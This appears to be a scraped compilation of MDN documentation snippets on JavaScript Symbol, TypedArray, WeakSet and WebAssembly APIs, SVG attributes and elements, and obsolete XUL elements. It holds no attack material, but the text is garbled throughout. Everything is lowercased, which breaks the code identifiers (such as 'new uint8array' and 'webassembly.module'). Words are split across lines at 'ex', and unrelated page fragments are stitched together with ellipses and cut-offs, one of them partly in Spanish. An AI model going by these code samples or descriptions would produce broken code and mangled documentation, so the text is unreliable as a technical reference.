exceptions or buggy behavior: var nonwellformediterable = {} nonwellformediterable[symbol.iterator] = () => 1 [...nonwellformediterable] // typeerror: [] is not a function specifications specification ecmascript (ecma-262)the definition of 'symbol.iterator' in that specification.
Symbol.replace - JavaScript
for more information, see reg
exp.prototype[@@replace]() and string.prototype.replace().
... the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... property attributes of symbol.replace writable no enumerable no configurable no
examples using symbol.replace class customreplacer { constructor(value) { this.value = value; } [symbol.replace](string) { return string.replace(this.value, '#!@?'); } } console.log('football'.replace(new customreplacer('foo'))); //
expected output: "#!@?tball" specifications specification ecmascript (ecma-262)the definition of 'symbol.replace' in that specification.
Symbol.toStringTag - JavaScript
the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
... property attributes of symbol.tostringtag writable no enumerable no configurable no
examples default tags object.prototype.tostring.call('foo'); // "[object string]" object.prototype.tostring.call([1, 2]); // "[object array]" object.prototype.tostring.call(3); // "[object number]" object.prototype.tostring.call(true); // "[object boolean]" object.prototype.tostring.call(undefined); // "[object undefined]" object.prototype.tostring.call(null); // "[object null]" // ...
...for
example, to acccess the symbol.tostringtag property on htmlbuttonelement: let test = document.createelement('button'); test.tostring(); // returns [object htmlbuttonelement] test[symbol.tostringtag]; // returns htmlbuttonelement specifications specification ecmascript (ecma-262)the definition of 'symbol.tostringtag' in that specification.
TypedArray.prototype.entries() - JavaScript
the entries() method returns a new array iterator object that contains the key/value pairs for each ind
ex in the array.
... the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...
examples iteration using for...of loop var arr = new uint8array([10, 20, 30, 40, 50]); var earray = arr.entries(); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.entries(); console.log(earr.n
ext().value); // [0, 10] console.log(earr.n
ext().value); // [1, 20] console.log(earr.n
ext().value); // [2, 30] console.log(earr.n
ext().value); // [3, 40] console.log(earr.n
ext().value); // [4, 50] specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.entries()' in that specification.
TypedArray.prototype.keys() - JavaScript
the keys() method returns a new array iterator object that contains the keys for each ind
ex in the array.
... the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...
examples iteration using for...of loop var arr = new uint8array([10, 20, 30, 40, 50]); var earray = arr.keys(); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.keys(); console.log(earr.n
ext().value); // 0 console.log(earr.n
ext().value); // 1 console.log(earr.n
ext().value); // 2 console.log(earr.n
ext().value); // 3 console.log(earr.n
ext().value); // 4 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.keys()' in that specification.
TypedArray.prototype.sort() - JavaScript
this method has the same algorithm as array.prototype.sort(),
except that sorts the values numerically instead of as strings.
... the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...
examples using sort for more
examples, see also the array.prototype.sort() method.
TypedArray.prototype.values() - JavaScript
the values() method returns a new array iterator object that contains the values for each ind
ex in the array.
... the source for this interactive
example is stored in a github repository.
... if you'd like to contribute to the interactive
examples project, please clone https://github.com/mdn/interactive-
examples and send us a pull request.
...
examples iteration using for...of loop var arr = new uint8array([10, 20, 30, 40, 50]); var earray = arr.values(); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.values(); console.log(earr.n
ext().value); // 10 console.log(earr.n
ext().value); // 20 console.log(earr.n
ext().value); // 30 console.log(earr.n
ext().value); // 40 console.log(earr.n
ext().value); // 50 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.values()' in that specification.
WeakSet - JavaScript
if no other references to an object stored in the weakset
exist, those objects can be garbage collected.
... weaksets are ideal for this purpose: //
execute a callback on everything stored inside an object function
execrecursively(fn, subject, _refs = null){ if(!_refs) _refs = new weakset(); // avoid infinite recursion if(_refs.has(subject)) return; fn(subject); if("object" === typeof subject){ _refs.add(subject); for(let key in subject)
execrecursively(fn, subject[key], _refs); } } const foo = { foo: "foo", bar: { bar: "bar" } }; ...
...
execrecursively(obj => console.log(obj), foo); here, a weakset is created on the first run, and passed along with every subsequent function call (using the internal _refs parameter).
...
examples using the weakset object const ws = new weakset(); const foo = {}; const bar = {}; ws.add(foo); ws.add(bar); ws.has(foo); // true ws.has(bar); // true ws.delete(foo); // removes foo from the set ws.has(foo); // false, foo has been removed ws.has(bar); // true, bar is retained note that foo !== bar.
WebAssembly.Module() constructor - JavaScript
syntax important: since compilation for large modules can be
expensive, developers should only use the module() constructor when synchronous compilation is absolutely required; the asynchronous webassembly.compilestreaming() method should be used at all other times.
...
examples synchronously compiling a webassembly module var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; function createwasmmodule(bytes) { return new webassembly.module(bytes); } fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = createwasmmodule(bytes); webassembly.instantiate(mod, importobject) .then(result => result.
exports.
exported_func() ); }) specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification.
... desktopmobileserverchromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmodule() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52
extended support release (esr).ie no support ...
...safari full support 11webview android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52
extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0legend full support ...
WebAssembly.Module.imports() - JavaScript
exceptions if module is not a webassembly.module object instance, a typeerror is thrown.
...
examples using imports the following
example (see imports.html source code; see it live also) compiles the loaded simple.wasm module.
... desktopmobileserverchromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsimportschrome full support 57edge full support 16firefox full support 52notes full support 52note...
...s notes disabled in the firefox 52
extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android full support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52
extended support release (esr).opera android full support 43safari ios full support 11samsung internet android ...
fill-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <altglyph>, <circle>, <ellipse>, <path>, <polygon>, <polyline>, <rect>, <t
ext>, <t
extpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 400 100" xmlns="http://www.w3.org/2000/svg"> <!-- default fill opacity: 1 --> <circle cx="50" cy="50" r="40" /> <!-- fill opacity as a number --> <circle cx="150" cy="50" r="40" fill-opacity="0.7" /> <!-- fill opacity as a percentage --> <circle cx="250" cy="50" r="40" fill-op...
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfill-opacitychrome ?
... candidate recommendation definition for shapes and t
exts scalable vector graphics (svg) 1.1 (second edition)the definition of 'fill-opacity' in that specification.
... recommendation initial definition for shapes and t
exts ...
paint-order - SVG: Scalable Vector Graphics
the paint-order attribute specifies the order that the fill, stroke, and markers of a given shape or t
ext element are painted.
... as a presentation attribute, it can be applied to any element but it has effect only on the following ten elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <t
ext>, <t
extpath>, and <tspan> usage notes value normal | [ fill || stroke || markers ] default value normal animatable yes normal this value indicates that the fill will be painted first, then the stroke, and finally the markers.
...for
example, using stroke is equivalent to stroke fill markers.
...
example <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <lineargradient id="g" x1="0" y1="0" x2="0" y2="1"> <stop stop-color="#888"/> <stop stop-color="#ccc" offset="1"/> </lineargradient> <rect width="400" height="200" fill="url(#g)"/> <g fill="crimson" stroke="white" stroke-width="6" stroke-linejoin="round" t
ext-anchor="middle" font-family="sans-serif" font-size="50px" font-weight="bold"> <t
ext x="200" y="75">stroke over</t
ext> <t
ext x="200" y="150" paint-order="stroke" id="stroke-under">stroke under</t
ext> </g> </svg> the
example would be rendered as follows: the stroke under effect could be achieved via the following css property: #stroke-under { paint-order: stroke; } specifications specification status comment...
stroke-dasharray - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element, but it only has effect on the following twelve elements: <altglyph> <circle> <ellipse> <path> <line> <polygon> <polyline> <rect> <t
ext> <t
extpath> <tref> <tspan> html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <!-- no dashes nor gaps --> <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> <!-- dashes and gaps of the same size --> <line x1="0" y1="3" x2="30" y2="3" stroke="black" stroke-dasharray="4" /> <!-- dashes and gaps of different sizes --> <li...
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-dasharraychrome ?
... candidate recommendation definition for shapes and t
exts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-dasharray' in that specification.
... recommendation initial definition for shapes and t
exts ...
stroke-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <path>, <line>, <polygon>, <polyline>, <rect>, <t
ext>, <t
extpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 40 10" xmlns="http://www.w3.org/2000/svg"> <!-- default stroke opacity: 1 --> <circle cx="5" cy="5" r="4" stroke="green" /> <!-- stroke opacity as a number --> <circle cx="15" cy="5" r="4" stroke="green" stroke-opacity="0.7" /> <!-- stroke opacity as a percentage --> <circle cx="25" cy=...
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-opacitychrome ?
... candidate recommendation definition for shapes and t
exts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-opacity' in that specification.
... recommendation initial definition for shapes and t
exts ...
stroke-width - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has effect on shapes and t
ext cont
ext elements, including: <altglyph>, <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <t
ext>, <t
extpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <!-- default stroke width: 1 --> <circle cx="5" cy="5" r="3" stroke="green" /> <!-- stroke width as a number --> <circle cx="15" cy="5" r="3" stroke="green" stroke-width="3" /> <!-- stroke width as a percentage --> <circle cx="25" cy="5" r="3" stroke="green" stroke-width="2%" /> </svg> usage note...
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-widthchrome ?
... candidate recommendation definition for shapes and t
exts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-width' in that specification.
... recommendation initial definition for shapes and t
exts ...
unicode - SVG: Scalable Vector Graphics
for
example, if unicode="ffl", then the given glyph will be used to render the sequence of characters "f", "f", and "l".
... it is often useful to refer to characters using xml character references
expressed in h
exadecimal notation or decimal notation.
... for
example, unicode="ffl" could be
expressed as xml character references in h
exadecimal notation as unicode="ffl" or in decimal notation as unicode="ffl".
... only one element is using this attribute: <glyph> cont
ext notes value <string> default value none animatable no <string> this value specifies one or more unicode characters corresponding to a glyph.
visibility - SVG: Scalable Vector Graphics
note: if the visibility attribute is set to hidden on a t
ext element, then the t
ext is invisible but still takes up space in t
ext layout calculations.
... as a presentation attribute, it can be applied to any element but it has effect only on the following nineteen elements: <a>, <altglyph>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <iframe>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <t
ext>, <t
extpath>, <tref>, <tspan>, <video> html, body, svg { height: 100%; } <svg viewbox="0 0 220 120" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="200" height="100" stroke="black" stroke-width="5" fill="transparent" /> <g stroke="seagreen" stroke-width="5" fill="skyblue"> <rect x="20" y="20" width="80" height="80" visibility="visible" /> <rect x="120" y="...
...it may receive pointer events depending on the pointer-events attribute, may receive focus depending on the tabind
ex attribute, contributes to bounding box calculations and clipping paths, and does affect t
ext layout.
...
example the following
example toggles the css visibility of the svg image path.
word-spacing - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <t
ext>, <t
extpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 50" xmlns="http://www.w3.org/2000/svg"> <t
ext y="20" word-spacing="2">bigger spacing between words</t
ext> <t
ext x="0" y="40" word-spacing="-0.5">smaller spacing between words</t
ext> </svg> usage notes value normal | <length> animatable yes default values n...
... prior to firefox 72 firefox ignored word-spacing and renders t
ext without.
... specifications specification status comment css t
ext module level 3the definition of 'word-spacing' in that specification.
... working draft svg 2 just refers to the definition in css t
ext 3.
<desc> - SVG: Scalable Vector Graphics
the <desc> element provides an accessible, long-t
ext description of any svg container element or graphics element.
... t
ext in a <desc> element is not rendered as part of the graphic.
... if the element can be described by visible t
ext, it is possible to reference that t
ext with the aria-describedby attribute.
... the hidden t
ext of a <desc> element can also be concatenated with the visible t
ext of other elements using multiple ids in an aria-describedby value.
<ellipse> - SVG: Scalable Vector Graphics
note: ellipses are unable to specify the
exact orientation of the ellipse (if, for
example, you wanted to draw an ellipse tilted at a 45 degree angle), but it can be rotated by using the transform attribute.
... global attributes core attributes most notably: id, tabind
ex styling attributes class, style conditional processing attributes most notably: required
extensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering...
..., stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colind
ex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-
expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowind
ex, aria...
...-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuet
ext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment scalable vector graphics (svg) 2the definition of '<ellipse>' in that specification.
<feComponentTransfer> - SVG: Scalable Vector Graphics
usage cont
ext categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<fefunca>, <fefuncr>, <fefuncb>, <fefuncg> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in dom interface this element implements the svgfecomponenttransferelement interface.
...
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 600 300"> <defs> <lineargradient id="rainbow" gradientunits="userspaceonuse" x1="0" y1="0" x2="100%" y2="0"> <stop offset="0" stop-color="#ff0000"></stop> <stop offset="0.2" stop-color="#ffff00"></stop> <stop offset="0.4" stop-color="#00ff00"></stop> <stop offset="0.6" stop-color="#00ffff"></stop> <stop offset="0.8" stop-color="#0000ff"></stop> <stop offset="1" stop-color="#800080"></stop> </lineargradient> <filter id="identity" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="identity"></fefuncr> <fefuncg type="identity"></fefuncg> <fefuncb type="identity"></fefuncb> <fefunca type="identity"></fefunca> ...
...enttransfer> <fefuncr type="linear" slope="0.5" intercept="0"></fefuncr> <fefuncg type="linear" slope="0.5" intercept="0.25"></fefuncg> <fefuncb type="linear" slope="0.5" intercept="0.5"></fefuncb> </fecomponenttransfer> </filter> <filter id="gamma" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" amplitude="4"
exponent="7" offset="0"></fefuncr> <fefuncg type="gamma" amplitude="4"
exponent="4" offset="0"></fefuncg> <fefuncb type="gamma" amplitude="4"
exponent="1" offset="0"></fefuncb> </fecomponenttransfer> </filter> </defs> <g font-weight="bold"> <t
ext x="0" y="20">default</t
ext> <rect x="0" y="30" width="100%" height="20"></rect> <t
ext x="0" y="70">identity</t
ext...
...> <rect x="0" y="80" width="100%" height="20" style="filter:url(#identity)"></rect> <t
ext x="0" y="120">table lookup</t
ext> <rect x="0" y="130" width="100%" height="20" style="filter:url(#table)"></rect> <t
ext x="0" y="170">discrete table lookup</t
ext> <rect x="0" y="180" width="100%" height="20" style="filter:url(#discrete)"></rect> <t
ext x="0" y="220">linear function</t
ext> <rect x="0" y="230" width="100%" height="20" style="filter:url(#linear)"></rect> <t
ext x="0" y="270">gamma function</t
ext> <rect x="0" y="280" width="100%" height="20" style="filter:url(#gamma)"></rect> </g> </svg> css rect { fill: url(#rainbow); } result specifications specification status comment filter effects module level 1the definition of '...
<image> - SVG: Scalable Vector Graphics
svg files displayed with <image> are treated as an image:
external resources aren't loaded, :visited styles aren't applied, and they cannot be interactive.
... to include dynamic svg elements, try <use> with an
external url.
... usage cont
ext categoriesgraphics element, graphics referencing elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes xlink attributes class style
externalresourcesrequired transform specific attributes x: positions the image horizontally from the origin.
...
example basic rendering of a png image in svg: svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" height="200" width="200"/> </svg> result specifications specification status comment scalable vector graphics (svg) 2the de...
<solidcolor> - SVG: Scalable Vector Graphics
note: this is an
experimental technology, and not yet implemented in browsers.
... usage cont
ext missing attributes global attributes core attributes global event attributes presentation attributes style attributes specific attributes none.
...
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 300 200" height="150"> <defs> <!-- solidcolor is
experimental.
...--> <lineargradient id="mygradient"> <stop offset="0" stop-color="green" /> </lineargradient> </defs> <t
ext x="10" y="20">circles colored with solidcolor</t
ext> <circle cx="150" cy="65" r="35" stroke-width="2" stroke="url(#mycolor)" fill="white"/> <circle cx="50" cy="65" r="35" fill="url(#mycolor)"/> <t
ext x="10" y="120">circles colored with lineargradient</t
ext> <circle cx="150" cy="165" r="35" stroke-width="2" stroke="url(#mygradient)" fill="white"/> <circle cx="50" cy="165" r="35" fill="url(#mygradient)"/> </svg> result ...
<svg> - SVG: Scalable Vector Graphics
value type: <string> ; default value: t
ext/css; animatable: no height the displayed height of the rectangular viewport.
... global attributes core attributes most notably: id, tabind
ex styling attributes class, style conditional processing attributes most notably: required
extensions, systemlanguage event attributes global event attributes, graphical event attributes, document event attributes, document element event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fil...
...l-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colind
ex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-
expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-requ...
...ired, aria-roledescription, aria-rowcount, aria-rowind
ex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuet
ext, role usage notes categoriescontainer element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <t
ext>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<svg>' in that specification.
<switch> - SVG: Scalable Vector Graphics
the <switch> svg element evaluates any requiredfeatures, required
extensions and systemlanguage attributes on its direct child elements in order, and then renders the first child where these attributes evaluate to true.
... usage cont
ext categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<a>, <foreignobject>, <g>, <image>, <svg>, <switch>, <t
ext>, <use> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes class style
externalresourcesrequired tra...
... svg <switch>
example this
example demonstrates showing different t
ext content depending on the browser's language settings.
... html content <svg viewbox="0 -20 100 50"> <switch> <t
ext systemlanguage="ar">مرحبا</t
ext> <t
ext systemlanguage="de,nl">hallo!</t
ext> <t
ext systemlanguage="en-us">howdy!</t
ext> <t
ext systemlanguage="en-gb">wotcha!</t
ext> <t
ext systemlanguage="en-au">g'day!</t
ext> <t
ext systemlanguage="en">hello!</t
ext> <t
ext systemlanguage="es">hola!</t
ext> <t
ext systemlanguage="fr">bonjour!</t
ext> <t
ext systemlanguage="ja">こんにちは</t
ext> <t
ext systemlanguage="ru">Привет!</t
ext> <t
ext>☺</t
ext> </switch> </svg> re...
action - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] used to specify the content that should be generated for each matching result from a query.
...
examples
example needed attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persi...
...st, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), geta...
bbox - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a horizontal box that is baseline aligned.
...
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , co...
...llapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore...
box - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a container element which can contain any number of child elements.
...
examples <box orient="horizontal"> <label value="zero"/> <box orient="vertical"> <label value="one"/> <label value="two"/> </box> <box orient="horizontal"> <label value="three"/> <label value="four"/> </box> </box> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, em...
...pty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods ...
broadcaster - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a broadcaster is used when you want multiple elements to share one or more attribute values, or when you want elements to respond to a state change.
...
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, pe...
...rsist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(),...
broadcasterset - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a container element for broadcaster elements.
...
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, ...
..., , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), ha...
conditions - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] this element should appear directly inside a rule element and is used to define conditions for the rule.
...
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, pe...
...rsist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(),...
content - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] Éste elemento debería pertenecer a query ("consulta").
... propiedades tag, uri ejemplos (no son necesarios) atributos inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait...
...for
